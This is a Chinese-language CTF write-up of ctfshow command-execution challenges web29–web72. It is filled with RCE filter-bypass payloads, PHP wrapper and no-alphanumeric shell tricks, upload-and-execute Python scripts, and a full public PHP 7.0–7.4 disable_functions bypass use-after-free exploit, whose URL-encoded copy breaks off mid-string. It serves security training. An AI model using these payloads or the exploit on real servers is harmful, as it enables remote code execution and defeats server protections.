ctfshow web入门命令执行

命令执行

rce 远程命令/代码执行漏洞

反引号``

反引号即命令替换 是指Shell可以先执行中的命令,将输出结果暂时保存,在适当的地方输出

单引号,双引号

适用条件:过滤了字符串
放在shell命令中,绕过正则匹配且不影响原意

空格绕过

< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09

读文件绕过(cat绕过)

适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

linux通配符绕过

适用条件:过滤了flag,没有过滤 ? *
在linux系统中 有一些通配符

匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

include 和伪协议的配合

因为include包含php文件不会在页面显示出来
所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响

web29

可以发现过滤了flag,并且不能用大小写绕过

可以构造url/?c=system("ls"),查看文件

发现里面有个flag.php,因此我们继续构造url/?system('cat f*');f12在查看器中找到flag

image-20210416193739089

web30

过滤了flag|system|php

尝试构造url/?c=echo `nl fl''ag.p''hp`;
nl与cat有点类似,但nl命令会打上行号,不很常用
另:也可以构建url/?c=echo `tac *`;(反引号的url为:%22,空格为%20)
tac命令用于将文件已行为单位的反序输出,即第一行最后显示,最后一行先显示。(这个可以直接得到flag)

f12得到flag

image-20210416194158976

web31

过滤了flag system php cat sort shell . space ’
可以用%09(为tab符)这个来代替空格!

url/?c=echo%09`tac%09*`;

某些具有特殊意义的字符也用“%”连接对应的16进制ASCII码代替。

php函数操作:
scandir(’.’):扫描当前目录
localeconv() 函数返回一数组。而数组第一项就是`.`(用来绕过.过滤)
pos(),current():返回数组第一个值
print_r(scandir(‘.’)); 查看当前目录下的所有文件名

数组操作函数:
end():数组指针指向最后一位
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse(): 将数组颠倒
array_rand(): 随机返回数组的键名
array_flip():交换数组的键和值

读取文件函数
file_get_content() :因为et被ban,所以不能使用
readfile()
highlight_file()
show_source()
另解:c=print_r(scandir(pos(localeconv())));
查看当前目录所有文件

c=show_source(next(array_reverse(scandir(pos(localeconv())))));
读取当前目录倒数第二个文件,得出flag

web32

过滤 flag system php cat sort shell . space ’ ` echo ; (

因为只对C进行了过滤,所以转换为base64编码形式

c=include$_GET["url"]?>
&url=php://filter/read=convert.base64-encode/resource=flag.php

web33

过滤了flag system php cat sort shell . space ’ ` echo ; ( "

因为双引号被过滤,所以

?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
或
?c=include$_GET[0]?>&0=data://text/plain,<?php echo(`cat flag.php`);?>
(在web32-web35两个都可以用)!!!
data://伪协议:
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
(<?php system('cat flag.php');?>)
<?php phpinfo();?>的base64编码浏览器不识别,所以可以用url编码:
?file=data://text/plain,%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e

web34

过滤 flag system php cat sort shell . space ’ ` echo ; ( : "

对c多了一个:但是不影响include

web35

过滤多了= <

不影响include

web36

过滤多了/ 0-9

将0改为a

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
或
?c=include$_GET[a]?>&a=data://text/plain,<?php echo(`cat flag.php`);?>

web37

代码中多出include($c)

?c=data://text/plain,<?php system('cat f*');?>
or
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
(<?php system('cat flag.php');?>)//这个需要查看源代码
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

web38

同上

web39

同上

web40

!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)

这有一个坑的地方:过滤了(),而不是() !!!

姿势一:

?c=readfile(array_rand(array_flip(scandir(current(localeconv())))));
或者
?c=readfile(next(array_reverse(scandir(current(localeconv())))));
f12即可找到flag

姿势二:

?c=eval(end(current(get_defined_vars())));&a=system("ls");
然后
?c=eval(end(current(get_defined_vars())));&a=system("cat flag.php");    f12

web41

看源代码,发现字母数字都被过滤了

根据hint找到大佬的博客

里面有两个脚本:exp.py rce_or.php
只用方法为:1.用vscode运行rce_or.php,会生成一个rce_or.txt文本文档,里面的符号意思为

例如A %40 %01 : 40的二进制为:0100 0000 1的二进制为:0000 0001

将他们进行或运算,得0100 0001 十进制对应为65 ,ascil码对应为A

image-20210530152816817

然后把图中前三个文件夹放到一起,在运行exp.py(我的是web41.py)

image-20210530153022946

选择terminal,输入python web41.py (+url)

image-20210530153354774

根据图中操作,得到flag

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}
1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”


那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

想要得到输出,就不能让后面的进行执行,加上截断语句就可以

?c=tac flag.php;
或
?c=cat flag.php;
cat flag.php%0a
cat flag.php||
cat flag.php%26
cat flag.php%26%26

web43

过滤了cat和;

?c=tac flag.php||
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings

web44

过滤加了一个flag

1.?c=tac fl*||
2.?c=tac fl??????||
3.?c=tac fl''ag,php||

web45

if(!preg_match("/\;|cat|flag| /i", $c)){
多了空格
?c=tac%09fl*||

web46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
多了数字和*
?c=tac%09fla?.php||

web47

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i",
多过滤了几个读取文件的命令
还可以用?c=tac%09fla?.php||

web48

?c=tac%09fla?.php||

web49

?c=tac%09fla?.php||

web50

%被过滤,用\绕过
?c=tac<>fla\g.php||

web51

tac被过滤
?c=ta\c<>fla\g.php||
?c=nl<>fla\g.php||(nl要用f12查看源代码)

web52

过滤了<>,可以用$符,用 ${IFS}代替空格

用?c=nl${IFS}fla\g.php||不显示

image-20210513212018005

用?c=nl${IFS}/fla\g.php||会直接显现出来

web53

没有system($c." >/dev/null 2>&1");了,一次不用再用分隔符了

用?c=nl${IFS}fla\g.php

web54

过滤了很多字母和\,可以用grep

grep test *file#在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
grep flag flag.php 查找flag.php文件中含有flag的那一行,并且打印出来

准备构造payload

?c=grep${IFS}show${IFS}fl?g.php
或
?c=/bin/?at${IFS}f???????%0a
这里其实cat命令
?c=paste${IFS}fl?g.php%0a
paste 指令会把每个文件以列对列的方式,一列列地加以合并。
?c=uniq${IFS}f???????
uniq 可检查文本文件中重复出现的行列
这三个需要进行查看源代码

web55

过滤了所有字母

bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls

payload

?c=/???/????64 ????????
或者
?c=/???/???/????2 ????????
?c=/usr/bin/bzip2 flag.php
把flag.php压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来
新姿势:利用了P神的‘!无数字字母!’getshell:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
一些不包含数字和字母的webshell
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

或者直接使用python脚本

import requests

while True:
    url = "http://80f8239f-d1d3-4365-8b48-12adf22459fe.chall.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

web56

也是所有字母被过滤,首先构造一个post上传文件的前端数据包(在vscode中:post文件上传)

发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

上传一个web56.php文件,文件内容为

#!/bin/sh
ls
在题目文件文件夹里

注:shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径

上传抓包

img

参数内容为.%20/???/????????[@-[]

(. /bin/phpXXXXXX,意思就是说匹配上传1.php文件所生成的临时文件,并执行之)

原因:p神的博客中img

img

cat得到flag

image-20210525202231916

或者直接用脚本

import requests
url = 'http://aafaf838-299e-408c-a8ba-9817b0d37714.challenge.ctf.show:8080/'
url += '?c=. /???/????????[@-[]'#构造url
while True:
    r = requests.post(url,files={'file':("dota.txt","cat flag.php")})#以post进行发包
    flag = r.text.split("ctfshow")#split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串
    if len(flag)>1:#说明flag获得值了!
        print(r.text)#打印flag
        break#跳出循环
两个方法性质差不多

web57

再一次过滤了所有的字母,代码块:

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
} 

flag在36.php中。system("cat ".$c.".php");这句的意思是,只需要给c传一个36就行了

直接上无字母数字的36

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

image-20210525203747982

解释:$(())=0
关于取反,经验是如果b=~a,那么a+b=-1
$(( ~$(()) ))=-1
$((     $((~$(())))       $((~$(())))        ))  是-2
要得到36,可以在里面放37个$(( ~$(()) )),再取反就可以了

f12得到flag

web58-65

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

读文件的函数有

file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()

payload:

c=echo highlight_file('flag.php');
c=show_source("flag.php");
c=highlight_file("flag.php");
(web58-65通用)

注意fget函数的使用

c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}
//在查看器中查询flag

fopen的使用:

c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

或者直接蚁剑直连(密码c) //web58-web65通用

web66

代码一样,尝试c=show_source("flag.php");,发现不行

再尝试用c=highlight_file("flag.php");发现

image-20210525215952729

用c=print_r(scandir("/"));查看目录结构

image-20210525220228413

发现flag,构造payload: c=highlight_file("/flag.txt");

web67

这道题print_r被ban了,换成var_dump就行了,方法与web66一样

c=var_dump(scandir("/"));
//找到里面有flag.txt
c=highlight_file("/flag.txt");

web68

无代码

各种读文件的都被过滤了,但还可以

c=var_dump(scandir("/"));

就要想到文件包含,include没ban的话就可以利用文件包含的漏洞了,是txt就直接包含,是php就base64包含:

c=include("/flag.txt");
或
c=require("/flag.txt");

web69-70

无代码

var_dump()和print_r都被ban了

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

用后四个就行了,原理是通过遍历数组的形式进行读取

c=$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
c=include("/flag.txt");

怎么看函数被ban

image-20210527210141192

这上面可以看到scandir()被ban,用hackbar给c传参后,会有显示,该图片是c=var_dump(scandir("/"));exit();后,显示的

web71

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
你要上天吗?

源码在附件,他将数字和字母都替换成了?

$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容。

可以利用exit();停止后面的程序

c=include("/flag.txt");exit();
或
c=require("/flag.txt");exit();

web72

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

image-20210527205303612

里面有个flag0.txt,知道了文件是/flag0.txt之后,就要想办法绕过open_basedir和disable_functions来读了。

open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空

大神脚本:(绕过安全目录,通用)

<?php
//从这里往下进行url编码
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)  
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("cat /flag0.txt");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg =str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}
//url编码一下

先给c post传参c=1,用bp抓包,修改参数,得到flag

c=%0D%0A%0D%0A%23+PHP+7.0-7.4+disable_functions+bypass+PoC+%28*nix+only%29%0D%0A%23%0D%0A%23+Bug%3A+https%3A%2F%2Fbugs.php.net%2Fbug.php%3Fid%3D76047%0D%0A%23+debug_backtrace%28%29+returns+a+reference+to+a+variable+%0D%0A%23+that+has+been+destroyed%2C+causing+a+UAF+vulnerability.%0D%0A%23%0D%0A%23+This+exploit+should+work+on+all+PHP+7.0-7.4+versions%0D%0A%23+released+as+of+30%2F01%2F2020.%0D%0A%23%0D%0A%23+Author%3A+https%3A%2F%2Fgithub.com%2Fmm0r1%0D%0A%0D%0Apwn%28%22cat+%2Fflag0.txt%22%29%3B%0D%0A%0D%0Afunction+pwn%28%24cmd%29+%7B%0D%0A++++global+%24abc%2C+%24helper%2C+%24backtrace%3B%0D%0A%0D%0A++++class+Vuln+%7B%0D%0A++++++++public+%24a%3B%0D%0A++++++++public+function+__destruct%28%29+%7B+%0D%0A++++++++++++global+%24backtrace%3B+%0D%0A++++++++++++unset%28%24this-%3Ea%29%3B%0D%0A++++++++++++%24backtrace+%3D+%28new+Exception%29-%3EgetTrace%28%29%3B+%23+%3B%29%0D%0A++++++++++++if%28%21isset%28%24backtrace%5B1%5D%5B%27args%27%5D%29%29+%7B+%23+PHP+%3E%3D+7.4%0D%0A++++++++++++++++%24backtrace+%3D+debug_backtrace%28%29%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++class+Helper+%7B%0D%0A++++++++public+%24a%2C+%24b%2C+%24c%2C+%24d%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+str2ptr%28%26%24str%2C+%24p+%3D+0%2C+%24s+%3D+8%29+%7B%0D%0A++++++++%24address+%3D+0%3B%0D%0A++++++++for%28%24j+%3D+%24s-1%3B+%24j+%3E%3D+0%3B+%24j--%29+%7B%0D%0A++++++++++++%24address+%3C%3C%3D+8%3B%0D%0A++++++++++++%24address+%7C%3D+ord%28%24str%5B%24p%2B%24j%5D%29%3B%0D%0A++++++++%7D%0D%0A++++++++return+%24address%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+ptr2str%28%24ptr%2C+%24m+%3D+8%29+%7B%0D%0A++++++++%24out+%3D+%22%22%3B%0D%0A++++++++for+%28%24i%3D0%3B+%24i+%3C+%24m%3B+%24i%2B%2B%29+%7B%0D%0A++++++++++++%24out+.%3D+sprintf%28%22%25c%22%2C%28%24ptr+%26+0xff%29%29%3B%0D%0A++++++++++++%24ptr+%3E%3E%3D+8%3B%0D%0A++++++++%7D%0D%0A++++++++return+%24out%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+write%28%26%24str%2C+%24p%2C+%24v%2C+%24n+%3D+8%29+%7B%0D%0A++++++++%24i+%3D+0%3B%0D%0A++++++++for%28%24i+%3D+0%3B+%24i+%3C+%24n%3B+%24i%2B%2B%29+%7B%0D%0A++++++++++++%24str%5B%24p+%2B+%24i%5D+%3D+sprintf%28%22%25c%22%2C%28%24v+%26+0xff%29%29%3B%0D%0A++++++++++++%24v+%3E%3E%3D+8%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++function+leak%28%24addr%2C+%24p+%3D+0%2C+%24s+%3D+8%29+%7B%0D%0A++++++++global+%24abc%2C+%24helper%3B%0D%0A++++++++write%28%24abc%2C+0x68%2C+%24addr+%2B+%24p+-+0x10%29%3B%0D%0A++++++++%24leak+%3D+strlen%28%24helper-%3Ea%29%3B%0D%0A++++++++if%28%24s+%21%3D+8%29+%7B+%24leak+%25%3D+2+%3C%3C+%28%24s+*+8%29+-+1%3B+%7D%0D%0A++++++++return+%24leak%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+parse_elf%28%24base%29+%7B%0D%0A++++++++%24e_type+%3D+leak%28%24base%2C+0x10%2C+2%29%3B%0D%0A%0D%0A++++++++%24e_phoff+%3D+leak%28%24base%2C+0x20%29%3B%0D%0A++++++++%24e_phentsize+%3D+leak%28%24base%2C+0x36%2C+2%29%3B%0D%0A++++++++%24e_phnum+%3D+leak%28%24base%2C+0x38%2C+2%29%3B%0D%0A%0D%0A++++++++for%28%24i+%3D+0%3B+%24i+%3C+%24e_phnum%3B+%24i%2B%2B%29+%7B%0D%0A++++++++++++%24header+%3D+%24base+%2B+%24e_phoff+%2B+%24i+*+%24e_phentsize%3B%0D%0A++++++++++++%24p_type++%3D+leak%28%24header%2C+0%2C+4%29%3B%0D%0A++++++++++++%24p_flags+%3D+leak%28%24header%2C+4%2C+4%29%3B%0D%0A++++++++++++%24p_vaddr+%3D+leak%28%24header%2C+0x10%29%3B%0D%0A++++++++++++%24p_memsz+%3D+leak%28%24header%2C+0x28%29%3B%0D%0A%0D%0A++++++++++++if%28%24p_type+%3D%3D+1+%26%26+%24p_flags+%3D%3D+6%29+%7B+%23+PT_LOAD%2C+PF_Read_Write%0D%0A++++++++++++++++%23+handle+pie%0D%0A++++++++++++++++%24data_addr+%3D+%24e_type+%3D%3D+2+%3F+%24p_vaddr+%3A+%24base+%2B+%24p_vaddr%3B%0D%0A++++++++++++++++%24data_size+%3D+%24p_memsz%3B%0D%0A++++++++++++%7D+else+if%28%24p_type+%3D%3D+1+%26%26+%24p_flags+%3D%3D+5%29+%7B+%23+PT_LOAD%2C+PF_Read_exec%0D%0A++++++++++++++++%24text_size+%3D+%24p_memsz%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A%0D%0A++++++++if%28%21%24data_addr+%7C%7C+%21%24text_size+%7C%7C+%21%24data_size%29%0D%0A++++++++++++return+false%3B%0D%0A%0D%0A++++++++return+%5B%24data_addr%2C+%24text_size%2C+%24data_size%5D%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+get_basic_funcs%28%24base%2C+%24elf%29+%7B%0D%0A++++++++list%28%24data_addr%2C+%24text_size%2C+%24data_size%29+%3D+%24elf%3B%0D%0A++++++++for%28%24i+%3D+0%3B+%24i+%3C+%24data_size+%2F+8%3B+%24i%2B%2B%29+%7B%0D%0A++++++++++++%24leak+%3D+leak%28%24data_addr%2C+%24i+*+8%29%3B%0D%0A++++++++++++if%28%24leak+-+%24base+%3E+0+%26%26+%24leak+-+%24base+%3C+%24data_addr+-+%24base%29+%7B%0D%0A++++++++++++++++%24deref+%3D+leak%28%24leak%29%3B%0D%0A++++++++++++++++%23+%27constant%27+constant+check%0D%0A++++++++++++++++if%28%24deref+%21%3D+0x746e6174736e6f63%29%0D%0A++++++++++++++++++++continue%3B%0D%0A++++++++++++%7D+else+continue%3B%0D%0A%0D%0A++++++++++++%24leak+%3D+leak%28%24data_addr%2C+%28%24i+%2B+4%29+*+8%29%3B%0D%0A++++++++++++if%28%24leak+-+%24base+%3E+0+%26%26+%24leak+-+%24base+%3C+%24data_addr+-+%24base%29+%7B%0D%0A++++++++++++++++%24deref+%3D+leak%28%24leak%29%3B%0D%0A++++++++++++++++%23+%27bin2hex%27+constant+check%0D%0A++++++++++++++++if%28%24deref+%21%3D+0x786568326e6962%29%0D%0A++++++++++++++++++++continue%3B%0D%0A++++++++++++%7D+else+continue%3B%0D%0A%0D%0A++++++++++++return+%24data_addr+%2B+%24i+*+8%3B%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++function+get_binary_base%28%24binary_leak%29+%7B%0D%0A++++++++%24base+%3D+0%3B%0D%0A++++++++%24start+%3D+%24binary_leak+%26+0xfffffffffffff000%3B%0D%0A++++++++for%28%24i+%3D+0%3B+%24i+%3C+0x1000%3B+%24i%2B%2B%29+%7B%0D%0A++++++++++++%24addr+%3D+%24start+-+0x1000+*+%24i%3B%0D%0A++++++++++++%24leak+%3D+leak%28%24addr%2C+0%2C+7%29%3B%0D%0A++++++++++++if%28%24leak+%3D%3D+0x10102464c457f%29+%7B+%23+ELF+header%0D%0A++++++++++++++++return+%24addr%3B%0D%0A++++++++++++%7D%0D%0A++++++++%7D%0D%0A++++%7D%0D%0A%0D%0A++++function+get_system%28%24basic_funcs%29+%7B%0D%0A++++++++%24addr+%3D+%24basic_funcs%3B%0D%0A++++++++do+%7B%0D%0A++++++++++++%24f_entry+%3D+leak%28%24addr%29%3B%0D%0A++++++++++++%24f_name+%3D+leak%28%24f_entry%2C+0%2C+6%29%3B%0D%0A%0D%0A++++++++++++if%28%24f_name+%3D%3D+0x6d6574737973%29+%7B+%23+system%0D%0A++++++++++++++++return+leak%28%24addr+%2B+8%29%3B%0D%0A++++++++++++%7D%0D%0A++++++++++++%24addr+%2B%3D+0x20%3B%0D%0A++++++++%7D+while%28%24f_entry+%21%3D+0%29%3B%0D%0A++++++++return+false%3B%0D%0A++++%7D%0D%0A%0D%0A++++function+trigger_uaf%28%24arg%29+%